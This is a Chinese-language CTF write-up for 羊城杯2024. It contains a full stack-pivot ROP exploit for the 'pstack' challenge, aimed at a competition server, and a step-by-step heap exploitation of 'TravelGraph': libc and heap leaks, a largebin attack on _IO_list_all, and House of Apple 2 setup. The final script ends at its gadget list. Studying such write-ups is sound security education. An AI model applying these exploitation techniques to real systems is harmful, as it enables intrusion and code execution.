羊城杯2024

1.pstack

看汇编能发现控制rbp就能控制buf,溢出只有0x10字节,打栈迁移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
from pwncli import *
from struct import pack
from ctypes import *

# io = remote("127.0.0.1", 55299)
# io = remote("192.168.170.128", 1234)
# io = remote("competition.blue-whale.me", 20631)
io = remote("139.155.126.78", 33438)
# io = process("./pwn")
# io = remote("3.1.2.3", 8888)
context(os="linux", arch="amd64")
# context(os="linux", arch="amd64", log_level="debug")
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/home/yukon/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6') # ctfshow用的ubuntu18.04
lg_infos = []
lga = lambda data: lg_infos.append(data)
s = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
sa = lambda text, data: io.sendafter(text, data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda n: io.recv(n)
ru = lambda text: io.recvuntil(text)
rl = lambda: io.recvline()
int16 = lambda a: int(a, 16)
strencode = lambda a: str(a).encode()
uu32 = lambda: u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda: u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda: int(io.recv(10), 16)
iuu64 = lambda: int(io.recv(6), 16)
uheap = lambda: u64(io.recv(6).ljust(8, b'\x00'))
# lg = lambda addr: log.success(addr)
# lg = lambda addr: log.info(addr)
lg = lambda data: io.success('%s -> 0x%x' % (data, eval(str(data))))
ia = lambda: io.interactive()


def log_all():
for lg_info in lg_infos:
lg(lg_info)


def attach(io, gdbscript=""):
log_all()
gdb.attach(io, gdbscript)


def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print(possible_IO_str_jumps_offset)
return possible_IO_str_jumps_offset


# gdb.attach(io)
# gdb.attach(io, 'b printf')
# gdb.attach(io, 'b *0x4011B4')

bss = 0x601010 + 0x700
leave_ret = 0x4006DB
read = 0x4006C4
rdi = 0x0000000000400773
rbp = 0x00000000004005b0
ret = 0x4006DC

payload = b'a' * (0x30) + p64(bss + 0x30) + p64(read)
sa(b"Can you grasp this little bit of overflow?", payload)
payload2 = p64(rdi) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(rbp) + p64(bss + 0x300 + 0x30) + p64(read)
payload2 += p64(bss - 8) + p64(leave_ret)
s(payload2)
libc_base = uu64() - libc.sym['read']
print(hex(libc_base))
system, bin_sh = get_sb()
payload3 = (p64(rdi) + p64(bin_sh) + p64(ret) + p64(rdi + 1) + p64(system)).ljust(0x30, b'\x00') + p64(bss + 0x300 - 8) + p64(leave_ret)

s(payload3)
ia()
# io\.recvuntil\("(.*?)"\)
# io\.recvuntil\(b"$1"\)
# io\.sendline\(str\((.*?)\)\)
# io\.sendline\(str\($1\)\.encode\(\)\)

2.TravelGraph

保护

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
-> checksec pwn2
[*] '/mnt/hgfs/Desktop-2/pwn2'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/yukon/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64'
-> seccomp-tools dump ./pwn2
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

ida

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
welcome();
while ( 1 )
{
menu();
switch ( (unsigned int)read_num() )
{
case 1u:
add();
break;
case 2u:
delete();
break;
case 3u:
show();
break;
case 4u:
edit();
break;
case 5u:
Dijkstra();
break;
default:
puts("Wrong!");
exit(1);
}
}
}

输入1-5以外的数字可以触发exit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
unsigned __int64 add()
{
int v1; // [rsp+8h] [rbp-28h]
int i; // [rsp+Ch] [rbp-24h]
_DWORD *v3; // [rsp+10h] [rbp-20h]
char s2[10]; // [rsp+1Eh] [rbp-12h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
for ( i = 0; routes[i]; ++i )
;
puts("What kind of transportation do you want? car/train/plane?");
read_str(s2, 16LL);
if ( !strcmp("car", s2) )
{
v1 = 1;
}
else if ( !strcmp("train", s2) )
{
v1 = 2;
}
else
{
if ( strcmp("plane", s2) )
exit(2);
v1 = 3;
}
v3 = malloc(16 * (v1 + 80));
v3[3] = v1;
puts("From where?");
*v3 = get_city_name();
puts("To where?");
v3[1] = get_city_name();
puts("How far?");
v3[2] = read_num();
if ( v3[2] > 1000 || v3[2] <= 0 )
{
puts("That's too far!");
exit(1);
}
puts("Note:");
read(0, v3 + 4, (16 * (v1 + 79)));
routes[i] = v3;
return v5 - __readfsqword(0x28u);
}

__int64 get_city_name()
{
int i; // [rsp+Ch] [rbp-24h]
char s2[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Please input the city name");
read_str(s2, 16LL);
for ( i = 0; ; ++i )
{
if ( i > 4 )
exit(3);
if ( !strcmp(&cities[16 * i], s2) )
break;
}
return i;
}

.data:0000000000005020 public cities
.data:0000000000005020 67 75 61 6E 67 7A 68 6F 75 00 cities db 'guangzhou',0 ; DATA XREF: get_city_name+55↑o
.data:000000000000502A 00 00 00 00 00 00 align 10h
.data:0000000000005030 6E 61 6E 6E 69 6E 67 00 aNanning db 'nanning',0
.data:0000000000005038 00 00 00 00 00 00 00 00 align 20h
.data:0000000000005040 63 68 61 6E 67 73 68 61 00 aChangsha db 'changsha',0
.data:0000000000005049 00 00 00 00 00 00 00 align 10h
.data:0000000000005050 6E 61 6E 63 68 61 6E 67 00 aNanchang db 'nanchang',0
.data:0000000000005059 00 00 00 00 00 00 00 align 20h
.data:0000000000005060 66 75 7A 68 6F 75 00 aFuzhou db 'fuzhou',0
.data:0000000000005067 00 00 00 00 00 00 00 00 00 align 10h
.data:0000000000005070 public edit_flag1
.data:0000000000005070 01 00 00 00 edit_flag1 dd 1

add的时候会根据选择的transportation来申请三种不同大小的堆,会在堆的前8个字节填From和To对应城市在cities数组中的偏移,如南宁为1,福州为4,那么从广州到福州的堆在内存中存放的数据就是100000004(动调得到),在堆的第8个字节开始的四个字节填Far,在堆的0x10处开始填Note,大小为申请的大小减0x10,没有offbynull,routes就是heaparray

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int delete()
{
__int64 v0; // rax
int i; // [rsp+4h] [rbp-Ch]
int city_name; // [rsp+8h] [rbp-8h]
int v4; // [rsp+Ch] [rbp-4h]

puts("From where?");
city_name = get_city_name();
puts("To where?");
LODWORD(v0) = get_city_name();
v4 = v0;
for ( i = 0; i != 20; ++i )
{
v0 = routes[i];
if ( v0 )
{
if ( city_name == *routes[i] && v4 == *(routes[i] + 4LL)
|| (LODWORD(v0) = *routes[i], v4 == v0) && (LODWORD(v0) = *(routes[i] + 4LL), city_name == v0) )
{
*routes[i] = 0;
*(routes[i] + 4LL) = 0;
free(routes[i]);
LODWORD(v0) = puts("Successfully delete!");
}
}
}
return v0;
}

注意那个*,这里置零是在将堆块的From和To内容置零,这里有uaf,但是在edit和show之前都有判断,不能直接利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
int show()
{
__int64 v0; // rax
int i; // [rsp+4h] [rbp-Ch]
int city_name; // [rsp+8h] [rbp-8h]
int v4; // [rsp+Ch] [rbp-4h]

puts("From where?");
city_name = get_city_name();
puts("To where?");
LODWORD(v0) = get_city_name();
v4 = v0;
for ( i = 0; i != 20; ++i )
{
v0 = routes[i];
if ( v0 )
{
if ( city_name == *routes[i] && v4 == *(routes[i] + 4LL)
|| (LODWORD(v0) = *routes[i], v4 == v0) && (LODWORD(v0) = *(routes[i] + 4LL), city_name == v0) )
{
printf("Distance:%d\n", *(routes[i] + 8LL));
LODWORD(v0) = printf("Note:%s\n", (routes[i] + 16LL));
}
}
}
return v0;
}

遍历前20个chunk,只要From To相同就能打印

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
unsigned __int64 edit()
{
int v1; // [rsp+0h] [rbp-80h]
int i; // [rsp+4h] [rbp-7Ch]
int j; // [rsp+8h] [rbp-78h]
int city_name; // [rsp+Ch] [rbp-74h]
int v5; // [rsp+10h] [rbp-70h]
int num; // [rsp+14h] [rbp-6Ch]
_DWORD *v7; // [rsp+18h] [rbp-68h]
int v8[22]; // [rsp+20h] [rbp-60h]
unsigned __int64 v9; // [rsp+78h] [rbp-8h]

v9 = __readfsqword(0x28u);
v1 = 0;
if ( !edit_flag1 )
{
puts("You've already edited it!");
exit(1);
}
if ( !edit_flag2 )
{
puts("You don't need to edit anymore.");
exit(1);
}
puts("From where?");
city_name = get_city_name();
puts("To where?");
v5 = get_city_name();
for ( i = 0; i != 20; ++i )
{
if ( routes[i]
&& (city_name == *routes[i] && v5 == *(routes[i] + 4LL) || v5 == *routes[i] && city_name == *(routes[i] + 4LL)) )
{
v8[v1++] = i;
}
}
if ( v1 )
{
puts("----------------");
for ( j = 0; j < v1; ++j )
printf("[+] Route%d: %d\n", j, v8[j]);
puts("----------------");
puts("Which one do you want to change?");
num = read_num();
if ( num < 0 || num > v1 )
exit(1);
puts("How far?");
v7 = routes[v8[num]];
v7[2] = read_num();
puts("Note:");
read(0, v7 + 4, (16 * (v7[3] + 79)));
}
edit_flag1 = 0;
return v9 - __readfsqword(0x28u);
}

这里有两个edit_flag位,edit_flag1是为了限制只能edit一次,edit_flag2在下面的Dijkstra函数中会加一,所以只要调用一次Dijkstra函数,就能获得唯一一次edit的机会,查找chunk同样是根据From To是否相同,这个会在后面伪造chunk中使用到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
unsigned __int64 Dijkstra()
{
int i; // [rsp+0h] [rbp-D0h]
int j; // [rsp+4h] [rbp-CCh]
int k; // [rsp+8h] [rbp-C8h]
int m; // [rsp+Ch] [rbp-C4h]
int city_name; // [rsp+10h] [rbp-C0h]
int v6; // [rsp+14h] [rbp-BCh]
int v7; // [rsp+18h] [rbp-B8h]
int v8; // [rsp+1Ch] [rbp-B4h]
int v9[8]; // [rsp+20h] [rbp-B0h] BYREF
int v10[8]; // [rsp+40h] [rbp-90h] BYREF
int v11[26]; // [rsp+60h] [rbp-70h]
unsigned __int64 v12; // [rsp+C8h] [rbp-8h]

v12 = __readfsqword(0x28u);
v11[0] = 0;
v11[1] = 9999;
v11[2] = 9999;
v11[3] = 9999;
v11[4] = 9999;
v11[5] = 9999;
v11[6] = 0;
v11[7] = 9999;
v11[8] = 9999;
v11[9] = 9999;
v11[10] = 9999;
v11[11] = 9999;
v11[12] = 0;
v11[13] = 9999;
v11[14] = 9999;
v11[15] = 9999;
v11[16] = 9999;
v11[17] = 9999;
v11[18] = 0;
v11[19] = 9999;
v11[20] = 9999;
v11[21] = 9999;
v11[22] = 9999;
v11[23] = 9999;
v11[24] = 0;
for ( i = 0; i != 20; ++i )
{
if ( routes[i] )
{
v7 = *routes[i];
v8 = *(routes[i] + 4LL);
if ( *(routes[i] + 8LL) < v11[5 * v7 + v8] )
{
v11[5 * v7 + v8] = *(routes[i] + 8LL);
v11[5 * v8 + v7] = *(routes[i] + 8LL);
}
}
}
for ( j = 0; j <= 4; ++j )
{
v9[j] = 9999;
v10[j] = 0;
}
v9[0] = 0;
for ( k = 0; k <= 4; ++k )
{
v6 = minDistance(v9, v10);
v10[v6] = 1;
for ( m = 0; m <= 4; ++m )
{
if ( !v10[m] && v11[5 * v6 + m] && v9[v6] != 9999 && v9[v6] + v11[5 * v6 + m] < v9[m] )
v9[m] = v9[v6] + v11[5 * v6 + m];
}
}
puts("Where do you want to travel?");
city_name = get_city_name();
printf("It is %dkm away from Guangzhou.\n", v9[city_name]);
if ( v9[city_name] > 2000 && v9[city_name] != 9999 )
{
puts("That's so far! Please review and rewrite it!");
++edit_flag2;
}
return v12 - __readfsqword(0x28u);
}

比赛的时候分析了很久,但是也没有发现哪里有漏洞,唯一的用处就是获得一次edit的机会

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
def add(choice, From, To, Note, Far=0x3e8):
io.sendlineafter(b"5. Calculate the distance.", b'1')
io.recvuntil(b"What kind of transportation do you want? car/train/plane?")
io.sendline(choice)
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)
io.recvuntil(b"How far?")
io.sendline(str(Far).encode())
io.recvuntil(b"Note:")
io.send(Note)


def delete(From, To):
io.sendlineafter(b"5. Calculate the distance.", b'2')
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)


def show(From, To):
io.sendlineafter(b"5. Calculate the distance.", b'3')
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)


def edit(From, To, Route, Note, Far=0x3e8):
io.sendlineafter(b"5. Calculate the distance.", b'4')
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)
sla(b'Which one do you want to change?\n', strencode(Route))
sla(b'How far?\n', strencode(Far))
sa(b'Note:\n', Note)


def caculate(To):
io.sendlineafter(b"5. Calculate the distance.", b'5')
io.sendlineafter(b"Where do you want to travel?", To)

堆风水

所谓堆风水,就是利用后向合并技术等来完成堆块位置的布置

比如我们先创建一大一小的两个堆块前后的堆防止合并

1
2
3
4
5
6
add(b'car', b'guangzhou', b'fuzhou', b'aaaa', 0x3E8)

add(b'car', b'fuzhou', b'nanning', b'bbbb', 0x310) # 小 0x521
add(b'train', b'nanning', b'changsha', b'cccc', 0x310) # 大 0x531

add(b'car', b'changsha', b'nanchang', b'cccc', 0x390)

然后先delete大的chunk再delete小的chunk

1
2
delete(b'nanning', b'changsha')
delete(b'fuzhou', b'nanning')

由于后向合并,这两个bin会合并成一个大的unsortedbin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x55555555d990
Size: 0xa50 (with flag bits: 0xa51)
fd: 0x7ffff7e1ace0
bk: 0x7ffff7e1ace0

pwndbg> tele 0x55555555d990 0x100
00:0000│ 0x55555555d990 ◂— 0x0
01:0008│ 0x55555555d998 ◂— 0xa51 /* 'Q\n' */
02:0010│ 0x55555555d9a0 —▸ 0x7ffff7e1ace0 (main_arena+96) —▸ 0x55555555e900 ◂— 0x0
03:0018│ 0x55555555d9a8 —▸ 0x7ffff7e1ace0 (main_arena+96) —▸ 0x55555555e900 ◂— 0x0
04:0020│ 0x55555555d9b0 ◂— 0x0
... ↓ 160 skipped
a5:0528│ 0x55555555deb8 ◂— 0x531
a6:0530│ 0x55555555dec0 —▸ 0x7ffff7e1ace0 (main_arena+96) —▸ 0x55555555e900 ◂— 0x0
a7:0538│ 0x55555555dec8 —▸ 0x7ffff7e1ace0 (main_arena+96) —▸ 0x55555555e900 ◂— 0x0
a8:0540│ 0x55555555ded0 ◂— 0x0

但是在偏移为0x530的地方,先delete的chunk的fd和bk还保留在此处,如果此时我们申请一个0x531的chunk,就能通过全部填充不为零数据的方式将这里的数据泄露出来

1
2
3
4
5
6
payload = b'a' * 0x50f + b'b'
add(b'train', b'nanning', b'changsha', payload, 0x310)
show(b'nanning', b'changsha')
ru(b'aaab')
libc_base = uu64() - 0x21ace0
lga("libc_base")

此时,原来合并的unsortedbin还剩下0x521的remainder bin(unsortedbin),如果我们再申请一个0x531的chunk,这个unsortedbin就会变成largebin,我们只需要将fd和bk填充为有效数据,就能泄露处fd_nextsize从而泄露heap地址

1
2
3
4
5
6
7
# 构造largebin泄露hb
add(b'train', b'nanning', b'changsha', payload, 0x310)
add(b'car', b'fuzhou', b'nanning', b'bbbbbbbc', 0x310)
show(b'fuzhou', b'nanning')
ru(b'bbbbc')
heap_base = u64(rl()[:-1].ljust(8, b'\x00')) - 0x1ec0
lga('heap_base')

largebin attack

接下来是难点,largebin attack需要一个已经存在的largebin(bk_nextsize需要可控),然后free一个比其size要小的chunk(这个chunk中存放着fake_io_file),然后再申请一个比这两个chunk的size都大的chunk

我们确实可以用上述方法创造一个0x531的largebin,free一个0x521的chunk,再申请一个0x541的chunk,但是,我们不能直接用edit修改掉这个0x531的bk_nextsize,因为在free的时候其From和To就已经被置零,虽然堆指针还在route数组中,但是我们找不到这个chunk,所以我们还是得通过堆风水,自己伪造一个chunk,接下来我来详细解释这种利用手法

先申请并反向释放一大一小两个chunk,为fake_chunk留下一个存放在route里的指针

1
2
3
4
5
6
add(b'plane', b'guangzhou', b'nanning', b'aaaa', 0x3E8)  # 大
add(b'car', b'fuzhou', b'nanchang', b'aaaa', 0x3E8) # 小
add(b'car', b'nanchang', b'nanning', p64(0x521) * 0x50, 0x3E7)

delete(b'fuzhou', b'nanchang') # 小
delete(b'guangzhou', b'nanning') # 大
1
2
3
4
5
6
7
8
9
10
pwndbg> tele 0x55555555ee30 0x100
00:0000│ 0x55555555ee30 ◂— 0x0
01:0008│ 0x55555555ee38 ◂— 0xa61 /* 'a\n' */
02:0010│ 0x55555555ee40 —▸ 0x7ffff7e1ace0 (main_arena+96) —▸ 0x55555555fdb0 ◂— 0x0
03:0018│ 0x55555555ee48 —▸ 0x7ffff7e1ace0 (main_arena+96) —▸ 0x55555555fdb0 ◂— 0x0
04:0020│ 0x55555555ee50 ◂— 0x0
... ↓ 164 skipped
a9:0548│ 0x55555555f378 ◂— 0x521
aa:0550│ 0x55555555f380 —▸ 0x7ffff7e1ace0 (main_arena+96) —▸ 0x55555555fdb0 ◂— 0x0
ab:0558│ 0x55555555f388 —▸ 0x7ffff7e1ace0 (main_arena+96) —▸ 0x55555555fdb0 ◂— 0x0

与leak_libc处的大小顺序不同的原因是上一次我们是为了泄露libc,所以我们只需要接下来申请的堆能覆盖到后一个堆的fd前或者bk前,而这次我们需要的是后一个申请的堆能够完全控制从0x55555555f378开始往后的内容从而伪造一个chunk在这个已经在route数组中存过的地址,所以我们先申请一个大的chunk,让第二个chunk的地址在偏移0x540处,然后合并后我们再申请一个小的chunk,这样第二个chunk就是在从0x520开始的了,计算好对应的偏移,就可以在add的时候在我们伪造的这个chunk这里放上From To和fake_io_file等等(fake_io_file等放在注释的data中了,后面将hoa2板子中的data按偏移算好放前面,把#删去就行)

此时我们还有一次edit机会,我们就可以在delete完这个chunk之后通过edit(b’guangzhou’, b’nanning’)来修改他的bk_nextsize了

1
2
3
4
5
6
7
8
9
10
11
12
# largebin attack
# 1.0x521 fake_chunk
add(b'plane', b'guangzhou', b'nanning', b'aaaa', 0x3E8) # 大
add(b'car', b'fuzhou', b'nanchang', b'aaaa', 0x3E8) # 小
add(b'car', b'nanchang', b'nanning', p64(0x521) * 0x50, 0x3E7)

delete(b'fuzhou', b'nanchang') # 小
delete(b'guangzhou', b'nanning') # 大

add(b'car', b'fuzhou', b'guangzhou', b'aaaa', 0x3E8)
payload = p64(0) + p64(0x521) + p64(0x400000004) + p64(0) # fake_0x521_chunk_4-4
add(b'plane', b'guangzhou', b'nanning', payload, 0x3E8)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> tele 0x55555555ee30 0x100
00:0000│ 0x55555555ee30 ◂— 0x0
01:0008│ 0x55555555ee38 ◂— 0x521
02:0010│ 0x55555555ee40 ◂— 0x4
03:0018│ 0x55555555ee48 ◂— 0x1000003e8
04:0020│ 0x55555555ee50 ◂— 0x555561616161 /* 'aaaaUU' */
05:0028│ 0x55555555ee58 —▸ 0x55555555ee30 ◂— 0x0
06:0030│ 0x55555555ee60 ◂— 0x0
... ↓ 158 skipped
a5:0528│ 0x55555555f358 ◂— 0x541
a6:0530│ 0x55555555f360 ◂— 0x100000000
a7:0538│ 0x55555555f368 ◂— 0x3000003e8
a8:0540│ 0x55555555f370 ◂— 0x0
a9:0548│ 0x55555555f378 ◂— 0x521
aa:0550│ 0x55555555f380 ◂— 0x400000004

同理伪造一个0x501的chunk

1
2
3
4
5
6
7
8
9
10
11
12
13
# 2.0x501 fake_chunk
add(b'car', b'fuzhou', b'nanchang', b'aaaa', 0x3E8)

add(b'plane', b'changsha', b'changsha', b'aaaa', 0x3E8) # 大
add(b'car', b'nanning', b'nanning', b'aaaa', 0x3E8) # 小

add(b'car', b'nanchang', b'nanning', p64(0x521) * 0x50, 0x3E8)
delete(b'nanning', b'nanning') # 小
delete(b'changsha', b'changsha') # 大
add(b'car', b'changsha', b'changsha', b'aaaa', 0x3E8)
payload = p64(0) + p64(0x501) + p64(0x300000003) + p64(0) + data # fake_0x501_chunk_3-3
payload = payload.ljust(0x500, b'a') + p64(0x541) * 2
add(b'plane', b'changsha', b'changsha', payload, 0x3E8)

这里伪造的大小是经过考虑的,如果伪造0x531,那么下一个chunk的size和prev_size无法控制,如果再大一点,我们需要伪造三个chunk才能largebin attack,所以最终选择了0x521和0x501的

1
2
3
4
5
6
7
8
delete(b'fuzhou', b'fuzhou')
add(b'plane', b'guangzhou', b'nanning', payload, 0x3E8) # 0x521 -> largebin
delete(b'nanchang', b'nanchang')
targe_addr = libc_base + libc.sym['_IO_list_all']
edit(b'guangzhou', b'nanning', 0, p64(0) + p64(0x521) + p64(0x21b110 + libc_base) * 2 + p64(0) + p64(targe_addr - 0x20))
add(b'plane', b'guangzhou', b'nanning', payload, 0x3E8)

sla(b"5. Calculate the distance.", b'6')

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
 from pwn import *
from pwncli import *
from struct import pack
from ctypes import *

# io = remote("127.0.0.1", 55299)
# io = remote("competition.blue-whale.me", 20631)
# io = remote("192.168.170.128", 1234)
# io = remote("139.155.126.78", 39552)
io = process("./pwn2")
# io = remote("3.1.2.3", 8888)
# context(os="linux", arch="amd64")
context(os="linux", arch="amd64", log_level="debug")
elf = ELF('./pwn2')
libc = ELF('./libc.so.6')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# libc = ELF('/home/yukon/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc.so.6') # ctfshow用的ubuntu18.04
lg_infos = []
lga = lambda data: lg_infos.append(data)
s = lambda data: io.send(data)
sl = lambda data: io.sendline(data)
sa = lambda text, data: io.sendafter(text, data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda n: io.recv(n)
ru = lambda text: io.recvuntil(text)
rl = lambda: io.recvline()
int16 = lambda a: int(a, 16)
strencode = lambda a: str(a).encode()
uu32 = lambda: u32(io.recvuntil(b"\xf7")[-4:].ljust(4, b'\x00'))
uu64 = lambda: u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda: int(io.recv(10), 16)
iuu64 = lambda: int(io.recv(6), 16)
uheap = lambda: u64(io.recv(6).ljust(8, b'\x00'))
# lg = lambda addr: log.success(addr)
# lg = lambda addr: log.info(addr)
lg = lambda data: io.success('%s -> 0x%x' % (data, eval(str(data))))
ia = lambda: io.interactive()


def log_all():
for lg_info in lg_infos:
lg(lg_info)


def attach(io, gdbscript=""):
log_all()
gdb.attach(io, gdbscript)


def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))


def get_IO_str_jumps():
IO_file_jumps_offset = libc.sym['_IO_file_jumps']
IO_str_underflow_offset = libc.sym['_IO_str_underflow']
for ref_offset in libc.search(p64(IO_str_underflow_offset)):
possible_IO_str_jumps_offset = ref_offset - 0x20
if possible_IO_str_jumps_offset > IO_file_jumps_offset:
print(possible_IO_str_jumps_offset)
return possible_IO_str_jumps_offset


# gdb.attach(io)
# gdb.attach(io, 'b printf')
# gdb.attach(io, 'b *0x4011B4')

def add(choice, From, To, Note, Far=0x3e8):
io.sendlineafter(b"5. Calculate the distance.", b'1')
io.recvuntil(b"What kind of transportation do you want? car/train/plane?")
io.sendline(choice)
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)
io.recvuntil(b"How far?")
io.sendline(str(Far).encode())
io.recvuntil(b"Note:")
io.send(Note)


def delete(From, To):
io.sendlineafter(b"5. Calculate the distance.", b'2')
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)


def show(From, To):
io.sendlineafter(b"5. Calculate the distance.", b'3')
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)


def edit(From, To, Route, Note, Far=0x3e8):
io.sendlineafter(b"5. Calculate the distance.", b'4')
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)
sla(b'Which one do you want to change?\n', strencode(Route))
sla(b'How far?\n', strencode(Far))
sa(b'Note:\n', Note)


def caculate(To):
io.sendlineafter(b"5. Calculate the distance.", b'5')
io.sendlineafter(b"Where do you want to travel?", To)


# "**guangzhou/nanning/changsha/nanchang/fuzhou**"
# cat/train/plane
add(b'car', b'guangzhou', b'fuzhou', b'aaaa', 0x3E8)

add(b'car', b'fuzhou', b'nanning', b'bbbb', 0x310)
add(b'train', b'nanning', b'changsha', b'cccc', 0x310)

add(b'car', b'changsha', b'nanchang', b'cccc', 0x390)
# for i in range(0xa0):
# add(b'car', b'changsha', b'nanchang', 0x390, b'cccc')


caculate(b'changsha')
delete(b'nanning', b'changsha')
delete(b'fuzhou', b'nanning')
payload = b'a' * 0x50f + b'b'
add(b'train', b'nanning', b'changsha', payload, 0x310)
show(b'nanning', b'changsha')
ru(b'aaab')
libc_base = uu64() - 0x21ace0
lga("libc_base")
# 构造largebin泄露hb
add(b'train', b'nanning', b'changsha', payload, 0x310)
add(b'car', b'fuzhou', b'nanning', b'bbbbbbbc', 0x310)
show(b'fuzhou', b'nanning')
ru(b'bbbbc')
heap_base = u64(rl()[:-1].ljust(8, b'\x00')) - 0x1ec0
lga('heap_base')

# hoa2
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
_IO_wstrn_jumps = libc_base + 0x216dc0 # + 0x1f3d20
_IO_cookie_jumps = libc_base + 0x216b80 # + 0x1f3ae0
_lock = libc_base + 0x21ca60 # 0x1f5720
set_context_61 = libc_base + libc.sym["setcontext"] + 61

lga("_IO_wfile_jumps")
lga("_IO_wstrn_jumps")
lga("_IO_cookie_jumps")
lga("_lock")

pop_rdi = libc_base + 0x000000000002a3e5
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
pop_rax = libc_base + 0x0000000000045eb0
pop_rsi = libc_base + 0x000000000002be51
ret = libc_base + 0x0000000000029139
syscall = 0x0000000000029db4 + libc_base
# leave_ret = libc_base + 0x000000000004da83
